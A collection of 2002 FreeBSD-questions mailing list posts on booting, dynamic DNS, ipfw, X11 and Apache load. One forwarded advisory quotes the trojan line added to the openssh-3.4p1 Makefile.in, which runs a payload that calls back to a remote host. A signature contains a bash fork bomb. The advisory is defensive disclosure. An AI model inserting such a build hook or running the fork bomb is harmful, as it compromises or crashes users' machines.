When the BIOS boots it looks, which of the partitions is set active and
will use the boot sector of this partition to continue the boot process.
This is set within fdisk. The DOS one will do this automatically for the
first FAT partition (c:) I believe (didn't use this for along time), the
Linux fdisk has a command for this and will show the active partition
marked with an asterisk.
Windows at least needs this, so set the windows system partition active.
I think lilo in the MBR won't need it to boot Linux, but am not
completely sure.

>
>   I currently have the hard drive as the primary IDE master, and an
> ATAPI  IDE CD-RW as the secondary IDE master. I can boot from both the
> floppy and the CD-RW, but not from the hard drive.

That is really strange. I would recommend to first try, if you are able
to boot plain DOS from the HD. So boot from DOS floppy, make a small FAT
partition with fdisk on your hard drive, do
fdisk /mbr
and
format c: /s

This will make your hard disk bootable for DOS. Now try every
possibility in your BIOS to get this booting, this has to work first!
Afterwards redo your fdisk and the windows installation and then your
Linux/FreeBSD/whatever installation

> > If you then face any problems, it is not because of earlier FreeBSD
use
> > of this disk, as after the "dd" step the disk completely forgot
about
> > this.
> -----------------------------------
> I ran the DOS "fdisk /mbr" command from a DOS boot floppy, and saw the
> hard drive light come on for a few seconds. Has this achieved the same
> thing as the "dd if=/dev/zero of=/dev/rsd0 bs=512 count=1" command, or
> should I run the dd command while booted into Linux ?

fdisk /mbr is the DOS way of applying a valid MBR. The dd comand just
writes zeros to the MBR, so that there is no valid MBR, but all tools
will think this is a brand new never touched disk. Both ways should
achieve to get rid of any FreeBSD "dangerously dedicated disk" hangovers
on the disk. So this doesn't anymore look like the core of your problem
to me.

>  I just ran fdisk /hda on the the Linux box (not DOS fdisk, Linux
> fdisk).

>  The response I got was a warning message "The number of cylinders for
> this disk is set to 8912....this could cause certain problems with:
> (1)Old versions of Lilo  (2)boot/partitioning software from other
OS's,
> eg DOS fdisk"

> So my attempt to fix the mbr with "fdisk /mbr" clearly didn't work.
> I'll try the "dd" command now...

No, this conclusion isn't valid, as the Linux fdisk warning is perfectly
right. All disks bigger than 8GB have more cylinders than 1024 (due to
specification limitations for the size of a cylinder; there are simply
not enough bits reserved in a PC partition table for it.) so fdisk just
tells you to pay attention that some OSs won't boot partitions above
cylinder #1024. That's all and it's correct.

Ciao
Siegbert


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From owner-freebsd-questions  Thu Aug  1 12:55:19 2002
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Date: Thu, 1 Aug 2002 14:55:02 -0500 (CDT)
From: Jason P Holland <jholland@cs.selu.edu>
To: sroberts@dsl.pipex.com
Cc: freebsd-questions@freebsd.org
Subject: Re: Dynamic DNS issues
In-Reply-To: <1028230491.339.23.camel@Demon.vickiandstacey.com>
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Stacey,
  that is normal operation for ddclient.  what happens is ddclient
connects to your router, checks the external address, and compares it to
the ip from the last poll.  if there is no change, there is no reason to
send out a dns update.  if there is a change, a dns update is sent out.  
thats how its dynamic.  this works great for ppp users, as their ip
address changes everytime they dial up.  if you are using dhcp externally
with some kind of broadband access like cable or dsl, you could force a
change by shutting off the power to the router.  that should force it to
grab a new address, although it might not work, it could end up with the
same address.  that would be one way of testing to see if it sends a
correct ip change.  hope this helps!

jason

> Hi Jason,
>    Thank you very much for getting back to me.
> 
> I did check to see if ddclient was running on restart, and it was.
> 
> I ran ddclient in debug mode and it reported a success at the end,
> saying that the retrieved IP address from checkip.dyndns.org is the same
> as that which was already set - see messages:
> 
> # tail /var/log/messages
> Aug  1 20:26:17 <host> ddclient[80248]: RECEIVE:  ^M 
> Aug  1 20:26:17 <host> ddclient[80248]: RECEIVE: 
> <html><head><title>Current IP Check</title></head> 
> Aug  1 20:26:17 <host> ddclient[80248]: RECEIVE:  <body bgcolor=white
> text=black> 
> Aug  1 20:26:17 <host> ddclient[80248]: RECEIVE:   
> Aug  1 20:26:17 <host> ddclient[80248]: RECEIVE:  Current IP Address:
> <IP Addr> 
> Aug  1 20:26:17 <host> ddclient[80248]: RECEIVE:  <br>Hostname:
> <IPAddr.ISP.com> 
> Aug  1 20:26:17 <host> ddclient[80248]: RECEIVE:   
> Aug  1 20:26:17 <host> ddclient[80248]: RECEIVE:  </body></html> 
> Aug  1 20:26:17 <host> ddclient[80248]: RECEIVE:   
> Aug  1 20:26:17 <host> ddclient[80248]: SUCCESS:  <my.domainname.com>:
> skipped: IP address was already set to <IPAddr>. 
> #
> 
> So that appears to work (as always, really) whenever I run ddclient
> manually. However what I am concerned about is the fact that I'm not
> entirely sure of how this thing is *supposed* to work.
> 
> What do you make of this. Should I be concerned here at all?
> 
> Stacey
> 
> On Thu, 2002-08-01 at 20:12, Jason P Holland wrote:
> > 
> > Hi Stacey,
> > 
> > > Hi Jason,
> > >    I also use ddclient here with my ADSL connected FBSD gateway,
> > > however, I use ZoneEdit.com's dynamic DNS services.
> > > 
> > > I'm not sure that ddclient is actually working alright, to be honest. I
> > > installed it yesterday which placed this ddclient.cache log:
> > > 
> > > # cat ddclient.cache
> > > ## ddclient-3.6.2
> > > ## last updated at Wed Jul 31 18:13:06 2002 (1028135586)
> > > atime=1028135586,host=<hostname>,ip=<extIP>,mtime=1028135586,status=good,warned-min-error-interval=0,warned-min-interval=0,wtime=0 <my.domain.com>
> > > #
> > > 
> > > Since then, however, the box rebooted due to an unplanned power-outage
> > > and no logs whatsoever appear to have been produced on boot-up. Like I
> > > said, I'm not sure what *is* supposed to happen in that case, but I
> > > would have thought that on boot-up, ddclient would have attempted to
> > > verify the external IP address soon after the box came up.
> > > 
> > 
> > it should have, if you have the rc script in place to kick the daemon off 
> > at startup.  do you?
> > 
> > > I use the SMC 7401BRA Barricade ADSL Router, which doesn't appear to be
> > > supported (at least by model) so I went with the "check against web url"
> > > option. Here's what my ddclient.conf looks like:
> > > 
> > > # more ddclient.conf
> > > ######################################################################
> > > ## 
> > > ## Define default global variables with lines like:
> > > ##      var=value [, var=value]*
> > > ## These values will be used for each following host unless overridden
> > > ## with a local variable definition.
> > > ##
> > > ## Define local variables for one or more hosts with:
> > > ##      var=value [, var=value]* host.and.domain[,host2.and.domain...]
> > > ##
> > > ## Lines can be continued on the following line by ending the line
> > > ## with a \
> > > ##
> > > ######################################################################
> > > daemon=300                                      # check every 300
> > > seconds
> > > syslog=yes                                      # log update msgs to
> > > syslog
> > > mail=root                                       # mail update msgs to
> > > root
> > > pid=/var/run/ddclient.pid                       # record PID in file.
> > > #
> > > #use=watchguard-soho,        fw=192.168.111.1:80        # via
> > > Watchguard's SOHO FW
> > > #use=netopia-r910,           fw=192.168.111.1:80        # via Netopia
> > > R910 FW
> > > #use=smc-barricade,          fw=192.168.123.254:80      # via SMC's
> > > Barricade FW#use=netgear-rt3xx,          fw=192.168.0.1:80          #
> > > via Netgear's internet FW
> > > #use=linksys,                fw=192.168.1.1:80          # via Linksys's
> > > internet FW
> > > #use=maxgate-ugate3x00,      fw=192.168.0.1:80          # via MaxGate's
> > > UGATE-3x00  FW
> > > #use=elsa-lancom-dsl10,      fw=10.0.0.254:80           # via ELSA
> > > LanCom DSL/10 DSL Router
> > > #use=elsa-lancom-dsl10-ch01, fw=10.0.0.254:80           # via ELSA
> > > LanCom DSL/10 DSL Router
> > > #use=elsa-lancom-dsl10-ch02, fw=10.0.0.254:80           # via ELSA
> > > LanCom DSL/10 DSL Router
> > > #use=alcatel-stp,            fw=10.0.0.138:80           # via Alcatel
> > > Speed Touch Pro
> > > #use=xsense-aero,            fw=192.168.1.1:80          # via Xsense
> > > Aero Router#fw-login=admin,             fw-password=XXXXXX         # FW
> > > login and password
> > > #
> > > ## To obtain an IP address from FW status page (using fw-login,
> > > fw-password)
> > > #use=fw, fw=192.168.1.254/status.htm, fw-skip='IP Address' # found after
> > > IP Address
> > > #
> > > ## To obtain an IP address from Web status page (using the proxy if
> > > defined)
> > > use=web, web=checkip.dyndns.org/, web-skip='IP Address' # found after IP
> > > Address#
> > > #use=ip,                     ip=127.0.0.1       # via static IP's
> > > #use=if,                     if=eth0            # via interfaces
> > > use=web                                 # via web
> > > #
> > > #protocol=dyndns2                               # default protocol
> > > #proxy=fasthttp.sympatico.ca:80                 # default proxy
> > > #server=members.dyndns.org                      # default server
> > > #server=members.dyndns.org:8245                 # default server
> > > (bypassing proxies)
> > > 
> > > #login=your-login                               # default login
> > > #password=test                                  # default password
> > > #mx=mx.for.your.host                            # default MX
> > > #backupmx=yes|no                                # host is primary MX?
> > > #wildcard=yes|no                                # add wildcard CNAME?
> > > 
> > > ##
> > > ## dyndns.org dynamic addresses
> > > ##
> > > ## (supports variables: wildcard,mx,backupmx)
> > > ##
> > > # server=members.dyndns.org,            \
> > > # protocol=dyndns2                      \
> > > # your-dynamic-host.dyndns.org
> > > 
> > > ##
> > > ## dyndns.org static addresses
> > > ##
> > > ## (supports variables: wildcard,mx,backupmx)
> > > ##
> > > # static=yes                            \
> > > # server=members.dyndns.org,            \
> > > # protocol=dyndns2                      \
> > > # your-static-host.dyndns.org
> > > 
> > > ##
> > > ##
> > > ## dyndns.org custom addresses
> > > ##
> > > ## (supports variables: wildcard,mx,backupmx)
> > > ##
> > > # custom=yes                            \
> > > # server=members.dyndns.org,            \
> > > # protocol=dyndns2                      \
> > > # your-domain.top-level,your-other-domain.top-level
> > > 
> > > ##
> > > ## ZoneEdit (zoneedit.com)
> > > ##
> > >  server=www.zoneedit.com,               \
> > >  protocol=zoneedit1,                    \
> > >  login=<snip>                \
> > >  password=<snip>  \
> > >  <my.domain.com>
> > > 
> > > ##
> > > ## EasyDNS (easydns.com)
> > > ##
> > > # server=members.easydns.com,           \
> > > # protocol=easydns,                     \
> > > # login=your-easydns-login,             \
> > > # password=your-easydns-password        \
> > > # your.any.domain,your-2nd.any.domain
> > > 
> > > ##
> > > ## Hammernode (hn.org) dynamic addresses
> > > ##
> > > # server=dup.hn.org,                    \
> > > # protocol=hammernode1,                 \
> > > # login=your-hn-login,                  \
> > > # password=your-hn-password             \
> > > # your-hn-host.hn.org,your-2nd-hn-host.hn.org
> > > 
> > > ##
> > > ## dslreports.com dynamic-host monitoring
> > > ##
> > > # server=members.dslreports.com         \
> > > # protocol=dslreports1,                 \
> > > # login=dslreports-login,               \
> > > # password=dslreports-password          \
> > > # dslreports-unique-id
> > > #
> > > 
> > > I'd *really* appreciate your (and any other ddclient users') thoughts on
> > > my configs and what I can expect from running ddclient.
> > > 
> > > Thanks for the time.
> > > 
> > > Stacey
> > >
> > 
> > have you tried debug mode?
> > 
> > $ ddclient -daemon=0 -debug -verbose -noquiet
> > 
> > try that and see if you can even connect to the router.  that will 
> > hopefully give you a starting point to troubleshoot.
> > 
> > jason
> > 
> > 
> > 
> > 
> >  
> > > 
> > > On Thu, 2002-08-01 at 18:49, Jason P Holland wrote:
> > > > 
> > > > Ken,
> > > >   if you go to dyndns.org, they have multiple clients to choose from that
> > > > can run on your freebsd system and poll the router for an external ip
> > > > address.  it is very likely your router is supported as dlink is a popular
> > > > brand.  here is the link for unix/linux clients
> > > > 
> > > > http://clients.dyndns.org/unix.php?service=custom
> > > > 
> > > > i use ddclient at home with a linksys router, it works wonderfully, and 
> > > > was easy to setup.  these of course, work with the dyndns service, but 
> > > > i'm sure others can be found, or these can be modified to suit your 
> > > > needs.  hope this helps
> > > > 
> > > > jason
> > > > 
> > > > 
> > > > > Hello all,
> > > > > 
> > > > > I have a DSL connection (Dynamic IP) that feeds my DLINK wireless
> > > > > router/firewall. I have my Freebsd box hardwired to the router and then I
> > > > > have a laptop and a windows box using wireless nics. Everything works great!
> > > > > Now I want to allow access to my web and ftp server on the Bsd box. I have
> > > > > my own domain name already and can use one of the dynamic dns hosting
> > > > > services. But how can I (automatically  of course), update my dynamic dns? I
> > > > > am unsure how to pull the wan ip from the router. The router is passing all
> > > > > requests on port 80 to my bsd box. But I need to find out my wan  ip to
> > > > > update the dns. I would like to maybe run a shell script or something get
> > > > > the wan ip and then update the dns. I have a script ot do the actual update,
> > > > > but any ideas on how to pull the wan ip? All I keep getting back is the lan
> > > > > ip (192.168.0.1)
> > > > > 
> > > > > Any thoughts or ideas from anybody ? This wouldn't be so bad but it seems
> > > > > that the dynamic ip is changed at odd intervals and pretty often. So it
> > > > > makes it a real pain to keep up with it manually.
> > > > > 
> > > > > 
> > > > > Thanks
> > > > > 
> > > > > 
> > > > > Ken
> > > > > 
> > > > > 
> > > > > 
> > > > > 
> > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > > > with "unsubscribe freebsd-questions" in the body of the message
> > > > > 
> > > > 
> > > > 
> > > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > > with "unsubscribe freebsd-questions" in the body of the message
> > > 
> > > 
> > > 
> > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > with "unsubscribe freebsd-questions" in the body of the message
> > > 
> > 
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> 
> 



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From owner-freebsd-questions  Thu Aug  1 12:56:10 2002
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Date: Thu, 01 Aug 2002 14:55:53 -0500
From: "Matthew Grooms" <mgrooms@seton.org>
To: <freebsd-questions@FreeBSD.org>
Subject: RE: xfree and TV question
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Hello,

     I noticed a few people had been discussing the use of xfree86
w/video out. I had a bout with this a year or so ago and found a
solution that may work for some of you. I have been using xf86 w/ my
living room television for quite some time now.

     If you have a card that has > VESA 2.0 support, I would suggest
giving the vesa driver a try. I have an NVidia card that refused to work
with the tv out when the nv driver was used in XFree86. I ended up
emailed the xfree86 nv driver maintainer and he stated that tv out is
not / would not be a supported feature. 

     Apparently, it is impossible to feed the card the proper timings
for tv output using the nv driver. When the vesa driver is used and the
vga is unplugged, the video card assumes that you want to output via the
tv out connector at boot. ( yes you must reboot ) After that, the card
translates standard timings into acceptable NTSC/PAL timing for your
tv/monitor so there is no need for fancy modeline calculations. Just use
some stanard timings for the mode you are shooting for.

     Although I have only tested this with an nvidia card I would not be
surprised if other vesa/tvout cards would work the same way. Hope this
helps someone.

-Matthew

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Hello Bill, you wrote:
> I'm getting the same thing with my Slash installation every day about 2
> o'clock in the morning.  Except for me it is a perl process that is
> wreaking havoc, swallowing all the swap then getting killed off by the
> OS.

We are still trying to track down the problem, but so far to temporarily
the kill the sucker, we did the following:

-Sendmail died, because the load went over 12.##.

-/usr/local/apache/bin/
-./apachectl retart

That taimed it down for the time being.

Then another FreeBSD server, we had an httpd process hoovering around
97% while looking at a "top".

Did the same as above and that slowed things down to near normal.

> As for you, are you doing anything funny with your webserver?

Not out of the ordinary. Apache 1.3.26, PHP 4.2.1, mySQL 3.23.51...(or close)

Well things have settled down, but I would really like to track down the problem.

Thank you.


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From owner-freebsd-questions  Thu Aug  1 13:23:32 2002
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From: "Patrick O'Reilly" <bsd@perimeter.co.za>
To: maske@maske.org
Cc: questions@freebsd.org
References: <1185.10.0.0.27.1028221738.squirrel@mail.maske.org>
Subject: Re: ipfw rules question
Date: Thu, 1 Aug 2002 22:35:23 +0200
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----- Original Message -----
From: "Douglas A. Maske" <maske@maske.org>


> Hello,
>
>    I am nat'ing my cable modem, why doesn't this configuration work?
It's
> either slow or inaccessable.
>
> #!/bin/sh
> ipfw add 00100 divert 8668 ip from any to any

AFAIK you should only divert packets through natd on the external
interface.  So, if you NIC facing the internet is fxp0, your rule should
be:

ipfw add 00100 divert 8668 ip from any to any via fxp0

Maybe that will help a little?

Regards,
Patrick O'Reilly.



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From owner-freebsd-questions  Thu Aug  1 13:25: 1 2002
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From: Dan Nelson <dnelson@allantgroup.com>
To: lists@brenius.com
Cc: William Palfreman <william@palfreman.com>, questions@FreeBSD.ORG
Subject: Re: Very High HTTPD Usage (Pls help, was urgent)
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In the last episode (Aug 01), lists@brenius.com said:
> We are still trying to track down the problem, but so far to temporarily
> the kill the sucker, we did the following:
> 
> -Sendmail died, because the load went over 12.##.
> 
> -/usr/local/apache/bin/
> -./apachectl retart
> 
> That taimed it down for the time being.
> 
> Then another FreeBSD server, we had an httpd process hoovering around
> 97% while looking at a "top".
> 
> Did the same as above and that slowed things down to near normal.
> 
> > As for you, are you doing anything funny with your webserver?
> 
> Not out of the ordinary. Apache 1.3.26, PHP 4.2.1, mySQL
> 3.23.51...(or close)

My bet is on an inefficient php script, run inside httpd via mod_php.

-- 
	Dan Nelson
	dnelson@allantgroup.com

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From owner-freebsd-questions  Thu Aug  1 13:34:50 2002
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From: "Patrick O'Reilly" <bsd@perimeter.co.za>
To: maske@maske.org, questions@freebsd.org
References: <1185.10.0.0.27.1028221738.squirrel@mail.maske.org>
Subject: Re: ipfw rules question
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----- Original Message -----
From: "Douglas A. Maske" <maske@maske.org>


> Hello,
>
>    I am nat'ing my cable modem, why doesn't this configuration work?
It's
> either slow or inaccessable.
>
> #!/bin/sh
> ipfw add 00100 divert 8668 ip from any to any
> ipfw add 00101 allow tcp from any 21 to any keep-state established
> ipfw add 00102 allow tcp from any 22 to any keep-state established
> ipfw add 00202 allow tcp from any 25 to any keep-state established
> ipfw add 00203 allow tcp from any 53 to any keep-state established
> ipfw add 00204 allow tcp from any 80 to any keep-state established
> ipfw add 00205 allow tcp from any 110 to any keep-state established
> ipfw add 00206 allow tcp from any 143 to any keep-state established
> ipfw add 00207 allow tcp from any 443 to any keep-state established
> ipfw add 00209 allow tcp from any 5900 to any keep-state established

Oh - on further looking - surely the rules should be

ipfw add 00101 allow tcp from any to any 21 keep-state established
ipfw add 00101 allow tcp from any to any 22 keep-state established
etc...

Specify the port on the destination, not the source.  (Except for FTP-Data
of course!)

Patrick.


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From owner-freebsd-questions  Thu Aug  1 13:35:37 2002
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From: "Patrick O'Reilly" <bsd@perimeter.co.za>
To: maske@maske.org, questions@freebsd.org
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Subject: Re: ipfw rules question
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----- Original Message -----
From: "Douglas A. Maske" <maske@maske.org>


> Hello,
>
>    I am nat'ing my cable modem, why doesn't this configuration work?
It's
> either slow or inaccessable.
>
> #!/bin/sh
> ipfw add 00100 divert 8668 ip from any to any
> ipfw add 00101 allow tcp from any 21 to any keep-state established
> ipfw add 00102 allow tcp from any 22 to any keep-state established
> ipfw add 00202 allow tcp from any 25 to any keep-state established
> ipfw add 00203 allow tcp from any 53 to any keep-state established
> ipfw add 00204 allow tcp from any 80 to any keep-state established
> ipfw add 00205 allow tcp from any 110 to any keep-state established
> ipfw add 00206 allow tcp from any 143 to any keep-state established
> ipfw add 00207 allow tcp from any 443 to any keep-state established
> ipfw add 00209 allow tcp from any 5900 to any keep-state established

Oh - on further looking - surely the rules should be:

ipfw add 00101 allow tcp from any to any 21 keep-state
ipfw add 00101 allow tcp from any to any 22 keep-state
etc...

Specify the port on the destination, not the source.  (Except for FTP-Data
of course!)

Patrick.


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From owner-freebsd-questions  Thu Aug  1 13:36:46 2002
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Date: Thu, 01 Aug 2002 22:36:40 +0200
Subject: Support for a 3C575TX NIC in Snapshot 5.0-20020302-PREVIEW?
To: freebsd-questions@FreeBSD.ORG
From: "Anders Leino TE01b" <1te01b_anle@tjelvar.org>
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Yes, it is a cardbus card and FreeBSD has not supported it in the past...
And yes, I know I'm not supposed to use a snapshot just because my NIC is
supported in it...

But when I try to do so anyway FreeBSD's installation program is like "not
finding" it, which is strange because I found that my card is listed in
the file: 
ftp://ftp.freebsd.org/pub/FreeBSD/snapshots/i386/5.0-20020302-PREVIEW/HARDWARE.HTM

So why is it not working when it is listed in HARDWARE.HTM?
Do I have to install FreeBSD from a CD and then add support for my NIC
later on?

Please help, or else I will have to use OpenBSD (which is not that bad,
but not as nice as FBSD).
I have to use FreeBSD because I plan to do some game programming using SDL
(www.libsdl.org) once I get it running on my laptop...


// Anders Leino (I'm from Sweden :)


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From owner-freebsd-questions  Thu Aug  1 13:43: 3 2002
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Followup for archive purposes in case anyone comes across this again:

The solution is to disable the composite_sync option for the ATI card:

        Option     "composite_sync" "Off"

Which is defaulted to on in 4.2.0, but apparently changed back to off
for subsequent versions again.

-- 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Vivek Khera, Ph.D.                Khera Communications, Inc.
Internet: khera@kciLink.com       Rockville, MD       +1-240-453-8497
AIM: vivekkhera Y!: vivek_khera   http://www.khera.org/~vivek/

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From owner-freebsd-questions  Thu Aug  1 13:43:11 2002
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>>>>> "PL" == Peter Leftwich <Hostmaster@Video2Video.Com> writes:

PL> On Tue, 30 Jul 2002, Derrick MacPherson wrote:
>> You can nfs mount between them I suppose..

PL> (Comes back from reading `man mount_nfs`...) I guess I meant a one-way
PL> question.  That is, how can a Mac desktop mount a FreeBSD drive?

Three ways:
1) via native NFS
2) via Samba on the FreeBSD box
3) via Appletalk on the FreeBSD box

options 2 and 3 require add-on software to your FreeBSD box, and
possible kernel support.


-- 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Vivek Khera, Ph.D.                Khera Communications, Inc.
Internet: khera@kciLink.com       Rockville, MD       +1-240-453-8497
AIM: vivekkhera Y!: vivek_khera   http://www.khera.org/~vivek/

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Subject: Dma with Promise Ata/133 Tx2 and Plextor Px-w4012a
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Hello,

I've a mixture which is probably not supported.
I have a Plextor Cdwriter PX-W4012A which I had connected to a
Promise ATA133 TX2 controller.
Burning works without DMA but as soon as DMA is enabled the system
hangs.
When the Cdwriter is connected to the motherboard's controller
burning works with DMA enabled.
The controller of the motherboard seems to be a VIA 82C586 ATA33.

Can one decrease the ATA mode of the promise controller?

-Hanspeter

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From owner-freebsd-questions  Thu Aug  1 14: 1:32 2002
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Date: Fri, 2 Aug 2002 05:59:47 +0900 (JST)
From: Charlie ROOT <root@asuka.naviservers.net>
To: <questions@freebsd.org>
Subject: MAKEDEV Error
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Hello all,
  I just upgraded one machine (4.4 release p22) for the security fixes and
all went well until the end of mergemaster when I tried to run MAKEDEV
all.
  I got the following error:

cd /dev && /bin/sh MAKEDEV all
MAKEDEV: arith: syntax error: "<garbage text I cant copy and paste>"

Any ideas, I'm affraid to restart in fear that not all DEVS were created
and the machine wont come back up.  It is a production server at a remote
location.

Thanks in advance,
Roger




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From owner-freebsd-questions  Thu Aug  1 14:10:48 2002
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Date: Sun, 04 Aug 2002 14:07:09 -0700
To: FreeBSD-Questions@FreeBSD.ORG, freebsd-current@freebsd.org
From: Karl Agee <kdagee@attglobal.net>
Subject: Fwd: <3CLUG> !!!! [mikael.olsson@clavister.com:
  openssh-3.4p1.tar.gz distribution recently trojaned] !!!!
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FYI....from my Linux User Group maillist.

--karl

>X-Authentication-Warning: quince.tricity.wsu.edu: majordomo set sender to 
>owner-3clug@www.3clug.org using -f
>Date: Thu, 1 Aug 2002 13:20:48 -0700
>From: Ed <ekg@tricity.wsu.edu>
>To: 3clug@3clug.org
>Subject: <3CLUG> !!!! [mikael.olsson@clavister.com: openssh-3.4p1.tar.gz 
>distribution recently trojaned] !!!!
>Mail-Followup-To: 3clug@3clug.org
>User-Agent: Mutt/1.2.5.1i
>Sender: owner-3clug@quince.tricity.wsu.edu
>
>
>if you didn't know this already, some copies of the source distribution
>of openssh are *trojaned*!  the _untrojaned_ version has this md5 sum:
>459c1d0262e939d6432f193c7a4ba8a8 (use md5sum openssh-3.4p1.tar.gz to
>check it).  the trojan horse connects to a computer in australia and
>opens a shell on the local machine.
>
>   Ed
>
>----- Forwarded message from Mikael Olsson <mikael.olsson@clavister.com> -----
>
>Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
>Precedence: bulk
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>Date: Thu, 01 Aug 2002 13:20:47 +0200
>From: Mikael Olsson <mikael.olsson@clavister.com>
>Organization: Clavister AB
>To: bugtraq@securityfocus.com
>Subject: openssh-3.4p1.tar.gz distribution recently trojaned
>X-MailScanner: Found to be clean
>
>
>From
>http://docs.freebsd.org/cgi/getmsg.cgi?fetch=394609+0+current/freebsd-security
>
>----- Forwarded message from Edwin Groothuis <edwin@mavetju.org> -----
>
>Date: Thu, 1 Aug 2002 16:55:51 +1000
>From: Edwin Groothuis <edwin@mavetju.org>
>To: incidents@securityfocus.com
>Subject: openssh-3.4p1.tar.gz trojaned
>
>Greetings,
>
>Just want to inform you that the OpenSSH package op ftp.openbsd.org
>(and probably all its mirrors now) it trojaned:
>
>     ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
>
>The OpenBSD people have been informed about it (via email to
>deraadt@openbsd.org and via irc.openprojects.org/#openbsd)
>
>
>The changed files are openssh-3.4p1/openbsd-compat/Makefile.in:
>  all: libopenbsd-compat.a
>+       @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh
>./bf-test.out &
>
>bf-test.c[1] is nothing more than a wrapper which generates a
>shell-script[2] which compiles itself and tries to connect to an
>server running on 203.62.158.32:6667 (web.snsonline.net).
>
>[1] http://www.mavetju.org/~edwin/bf-test.c
>[2] http://www.mavetju.org/~edwin/bf-output.sh
>
>This is the md5 checksum of the openssh-3.4p1.tar.gz in the FreeBSD
>ports system:
>     MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8
>
>This is the md5 checksum of the trojaned openssh-3.4p1.tar.gz:
>     MD5 (openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57
>
>Edwin
>
>--
>Edwin Groothuis      |            Personal website: http://www.MavEtJu.org
>edwin@mavetju.org    |    Weblog: http://www.mavetju.org/weblog/weblog.php
>bash$ :(){ :|:&};:   | Interested in MUDs? http://www.FatalDimensions.org/
>
>----- End forwarded message -----



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From owner-freebsd-questions  Thu Aug  1 14:18:53 2002
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--
Pb



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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
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&nbsp;
<pre>--&nbsp;
Pb</pre>
&nbsp;</html>

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Date: Thu, 01 Aug 2002 13:44:18 -0700
From: Parker Brown <phbrown@charter.net>
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--------------4588BB264561D4D6D0C4CAF8
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FreeBSD 4.6 with X11 v4.  Trying to get some easily readable fonts on
X11,  particularly on netscape.  I installed the urwfonts from x11-fonts

ports, but got the     unable to open display ""   when I ran xset, so I

edited /etc/X11/XF86Config to include an entry for .../fonts/URW.  Still

no apparent difference in appearance, but I noticed that startx pumps
out messages like     startx:  could not init font path element
/usr/X11R6/lib/X11/fonts/URW.   The same messages appear regarding
../fonts/Type1  and ../fonts/Speedo.

X11 has no problem with any other fonts listed in  /etc/X11/XF86Config.
All fonts listed in the config file have entries in
/usr/X11R6/lib/x11/fonts,  but apparently URW, Type1 and Speedo are
"not welcome" to the tyrant X11.

Haven't figured out xdm yet, so I installed a "wrapper" and use startx.

Can anybody help me figure this one out?  I've gone about as far as I
can
with this one.


--
Pb



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Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
FreeBSD 4.6 with X11 v4.&nbsp; Trying to get some easily readable fonts
on
<br>X11,&nbsp; particularly on netscape.&nbsp; I installed the urwfonts
from x11-fonts
<br>ports, but got the&nbsp;&nbsp;&nbsp;&nbsp; unable to open display ""&nbsp;&nbsp;
when I ran xset, so I
<br>edited /etc/X11/XF86Config to include an entry for .../fonts/URW.&nbsp;
Still
<br>no apparent difference in appearance, but I noticed that startx pumps
<br>out messages like&nbsp;&nbsp;&nbsp;&nbsp; startx:&nbsp; could not init
font path element
<br>/usr/X11R6/lib/X11/fonts/URW.&nbsp;&nbsp; The same messages appear
regarding
<br>../fonts/Type1&nbsp; and ../fonts/Speedo.
<p>X11 has no problem with any other fonts listed in&nbsp; /etc/X11/XF86Config.
<br>All fonts listed in the config file have entries in
<br>/usr/X11R6/lib/x11/fonts,&nbsp; but apparently URW, Type1 and Speedo
are
<br>"not welcome" to the tyrant X11.
<p>Haven't figured out xdm yet, so I installed a "wrapper" and use startx.
<p>Can anybody help me figure this one out?&nbsp; I've gone about as far
as I can
<br>with this one.
<br>&nbsp;
<pre>--&nbsp;
Pb</pre>
&nbsp;</html>

--------------4588BB264561D4D6D0C4CAF8--


--------------9EDD57BA63969AB3765672F0--


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From owner-freebsd-questions  Thu Aug  1 14:35:21 2002
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Date: Thu, 1 Aug 2002 23:35:16 +0200
From: Hanspeter Roth <hanspeter_roth@hotmail.com>
To: freebsd-questions@freebsd.org
Subject: ssh version after cvsup
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Hello,

which ssh version will I get after cvsuping to RELENG_4_6?

-Hanspeter

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From owner-freebsd-questions  Thu Aug  1 14:45: 8 2002
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Date: Thu, 1 Aug 2002 17:44:55 -0400 (EDT)
From: Mohsin Rahman <mtech@buffnet.net>
To: lists@brenius.com
Cc: William Palfreman <william@palfreman.com>, questions@FreeBSD.ORG
Subject: Re: Very High HTTPD Usage (Pls help, was urgent)
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try "sockstat" to see if there is an IP pattern. Could it be that you are
getting hit hard w/ nimda and the like? check you access-logs. Try putting
this in your httpd.conf, doing a configtest and then keep an eye on the
virus_log file.

SetEnvIf Request_URI \.exe$ microsoft_bs
SetEnvIf Request_URI \.dll$ microsoft_bs
SetEnvIf Request_URI \.default.ida$ microsoft_bs

CustomLog /logs/virus_log combined env=microsoft_bs

If you have PHP support built into apache, set a max_execution time
in php.ini and keep us posted. Good luck!

Mohsin AbdulRahman
MTech@BuffNET.Net

On Thu, 1 Aug 2002 lists@brenius.com wrote:

> Hello Bill, you wrote:
> > I'm getting the same thing with my Slash installation every day about 2
> > o'clock in the morning.  Except for me it is a perl process that is
> > wreaking havoc, swallowing all the swap then getting killed off by the
> > OS.
> 
> We are still trying to track down the problem, but so far to temporarily
> the kill the sucker, we did the following:
> 
> -Sendmail died, because the load went over 12.##.
> 
> -/usr/local/apache/bin/
> -./apachectl retart
> 
> That taimed it down for the time being.
> 
> Then another FreeBSD server, we had an httpd process hoovering around
> 97% while looking at a "top".
> 
> Did the same as above and that slowed things down to near normal.
> 
> > As for you, are you doing anything funny with your webserver?
> 
> Not out of the ordinary. Apache 1.3.26, PHP 4.2.1, mySQL 3.23.51...(or close)
> 
> Well things have settled down, but I would really like to track down the problem.
> 
> Thank you.
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
